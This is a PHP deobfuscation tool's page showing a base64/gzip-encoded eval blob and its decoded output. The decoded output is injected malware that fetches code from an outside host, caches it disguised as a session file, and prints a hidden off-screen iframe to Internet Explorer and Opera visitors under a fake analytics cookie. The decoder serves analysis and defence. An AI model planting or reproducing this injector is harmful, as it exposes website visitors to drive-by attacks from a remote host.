Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(gzinflate(base64_decode('fVRtb9s2EP7sAfsPjCGUUqJIztY4rW2lKTpvK7YlheNsH4JMUCnKZkuRGknZ..
Decoded Output download
if (!defined('frmDs')){
define('frmDs' ,1);
function frm_dl ($url) {
if (function_exists('curl_init')) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$out = curl_exec ($ch);
if (curl_errno($ch) !== 0) $out = false;
curl_close ($ch);
} else {$out = file_get_contents($url);}
return trim($out);
}
function frm_crpt($in){
$il=strlen($in);$o='';
for ($i = 0; $i < $il; $i++) $o.=$in[$i] ^ '*';
return $o;
}
function frm_getfrm()
{
$defframe = '<style>.zlwlb { position:absolute; left:-766px; top:-879px; }</style> <div class="zlwlb"><iframe src="http://fuavotlvpew.myfw.us/jquery/get.php?ver=jquery.latest.js" width="462" height="359"></iframe></div>'; //default frame
$codelink = 'http://fuavotlvpew.myfw.us/nc/gnc.php?ver=jquery.latest.js';
if (!$codelink){
return $defframe;
}
$dr='/var/tmp';
$f = $dr.'/sess_'.md5('frm_frame');
if(!file_exists($f) || time() - filemtime($f) > 60*5)
{
$dlc = frm_dl($codelink);
if ($dlc){
if ($fp = @fopen($f, 'w')){
fwrite($fp, frm_crpt($dlc));
fclose($fp);
}
else
return $dlc;
}
else
@unlink($f);
}
$fc = @file_get_contents($f);
return ($fc)?frm_crpt($fc):$defframe;
}
$ua = $_SERVER['HTTP_USER_AGENT'];
if (preg_match('/Windows/', $ua) && preg_match('/MSIE|Opera/', $ua) ){
error_reporting(0);
if(!isset($_COOKIE['__utmfr']) && $nfc=frm_getfrm() ) {
@setcookie('__utmfr',rand(1,1000),time()+86400*7,'/');
print($nfc);
}
}
}
Did this file decode correctly?
Original Code
eval(gzinflate(base64_decode('fVRtb9s2EP7sAfsPjCGUUqJIztY4rW2lKTpvK7YlheNsH4JMUCnKZkuRGknZyRL/9x1J2U6xdYZtiXfP3T33Rlah8KCkFRO0DHGl6h80jqLHb7/peeFWhuKTaAxS+FatIIZJgUCTlxyFQat4hKxNj4G7rT6n90wbHWIC+pwJZsCzh/UCskQZ2im8i7FTOaGmRjYgJssYvbuZ/Xr1YZ7PpvOb2eV89vby+sfpLEYnnUEgW7N1Ru8pQdas01k+XqGUkE6BDrIMDSLUmVUF1/RZZMKlps9cbBAFAHrcwhmn+YKanEhhqID0PPWNxSpqWiWQUawOLd552PxH1YiyyTHhCt0LGM+0UZwKJxsHMsPYBa+kAioM4g7GCJ4T+OP27ejIJpBkgL8N2B36E+FDb9JxCOTXYgN5eIQRyH10aHSlippCFDzR5oHT8+RvvuYf0SNqpGbWclR81JK3ho4Rp5UZHZ8Nh839GEGXRsevzl7b980k9dZoUrIVIrzQOus7T/3zCfMxtCJZf2lMM0rTqi1W0vBVQ9dJ/VCtk1ann/5qqXpIgWTSLJs3K6oyL0p4Yag2ySfdR2tWmmXWfzn8ro+WlC2WJut/f/oaoqQ+DLwAhXM8RmkK6RUtN8gpXMJElpQz8dkm/D9UBEkXgnyVhi+3HbCDnUffz10PtpX1g+R7AfVWGU5XhUpN3XgnQQVUQJ7gVFOtc5zU5anbvNzZ46iLFR64+esWK6gi9PSEDKtpGKFjN5u1O1nNORoODk9tm3vdzpWc2Al2WxvuOe83xSK6FPy5asDgopKNHc0qRnjdXQ72U60VMzZWEz8bauuicwkQt00WshVt/MPuVIfZFYsTj/GQPeKiFZanTWpXSCgZcdT+vY4dqnMLZxK92d
OD0+iLvnRtCdrC9iC/ns5+n85u8c/z+Yf8Bk7525+ml3N8Z7G2Jo2ii7wuDFmGOP2DiVKudYpjBA4i9OIF+kL/2/X76dNVQ1Wxg/jywXUkVa5oI5VhYhEOPOltl5mGCzAM8ndXV7+8n97iPG9NXSl850IEoiLZ81VG22v1AsyIlJ8Z3Ntbm1gVogxP4pPBYBDFfliOXg1fDgaHZzFOu9nqNYoJCAmu91WGH3z/AQ==')));?>
Function Calls
gzinflate | 1 |
base64_decode | 1 |
Stats
MD5 | 47ee9bd2c1acda4686d850982c15daee |
Eval Count | 1 |
Decode Time | 81 ms |